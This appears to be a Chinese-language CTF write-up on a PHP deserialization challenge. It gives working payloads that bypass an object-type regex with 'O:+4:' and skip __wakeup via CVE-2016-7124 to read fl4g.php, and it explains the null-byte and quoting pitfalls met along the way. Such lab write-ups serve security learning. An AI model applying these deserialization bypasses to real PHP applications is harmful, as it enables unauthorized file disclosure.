手机码字,好累~
刚刷完这道题,觉得挺有意思,做一下笔记。
打开题目有一段PHP代码,大致看了一下需要用到反序列化。
两点需要解决:
首先序列化
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);
echo $s; // 得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
echo "\n";
?>
绕过正则
正则规则
preg_match('/[oc]:\d+:/i', $var)
这里匹配 o或者c(不分大小写):数字: 这样的字符串,
O:4:不符合,只要在O:4的4之前加个+号就可以了 具体原因网上有前辈大神解答过了.(这个问题新版已经修复了)
修改后
O:+4:"Demo":1:{s:10:"Demofile" ;s:8:"fl4g.php";}
绕过__weakup
这里就是利用CVE-2016-7124,更改属性个数破坏属性检查绕过,老问题。
不过在这里还真碰到了问题
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);
echo $s; // O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
echo "\n";
// 绕过正则和修改属性数为2绕过__weakup
$str = 'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}';
echo base64_encode($str);
// TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
?>
将上面base64_encode过的代码赋给var提交发现并没有绕过__weakup。
查阅资料发现php序列化private属性时会在类名和属性名前各加一个空字符,上面我的str变量的内容是从终端复制出来的,难道复制出来的内容已经不是以前的了?
于是稍改下代码,直接在代码中添加+号并且替换属性个数
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);
echo $s;
echo "\n";
// $str = 'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}';
// 不复制直接替换
$s1 = str_replace([':4:', '"Demo":1:'], [':+4:', '"Demo":2:'], $s);
echo $s1; // O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
// echo base64_encode($str);
echo "\n";
echo base64_encode($s1);
// TzaorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>
嗯,和之前直接使用复制字符串得出的base64编码完全不同。
使用这次得到的base64码提交请求成功得到了flag。
还是有点不甘心,直接复制就没有办法了吗?
既然序列化之后在类名和属性名之前都加了空字符,复制会破坏空字符,但如果手动加入空字符呢?
于是着手准备尝试一下
整理一下代码
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);
// 复制之后的字符串 添加\00
$str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}';
// 直接替换的字符串
$s1 = str_replace([':4:', '"Demo":1:'], [':+4:', '"Demo":2:'], $s);
echo base64_encode($str);
// TzorNDoiRGVtbyI6Mjp7czoxMDoiXDAwRGVtb1wwMGZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
echo "\n";
echo base64_encode($s1);
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>
还是不一样。
这里有个小插曲,本来想把两个base64编码后的字符串分两行显示,于是在两行中间加上了echo ‘\n’
,结果发现\n被原样显示了~
于是查了一下php中单引号和双引号的区别,
发现单引号会原样显示包括的内容(包括\),而双引号会解释替换需要转义的内容。
这就真相大白了
上面复制之后的字符串中的\00被包含在单引号中~~
改变一下方式,最外围用双引号包围,中间的双引号全部使用转义字符, 如下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
// 序列化
$demo = new Demo('fl4g.php');
$s = serialize($demo);
// 复制之后的字符串 用双引号包围,中间双引号转义
$str = "O:+4:\"Demo\":2:{s:10:\"\00Demo\00file\";s:8:\"fl4g.php\";}";
// 直接替换的字符串
$s1 = str_replace([':4:', '"Demo":1:'], [':+4:', '"Demo":2:'], $s);
// 判断是否两次base64编码结果相等
echo strcmp(base64_encode($str), base64_encode($s1)); // 0
?>
嗯,这回就对了!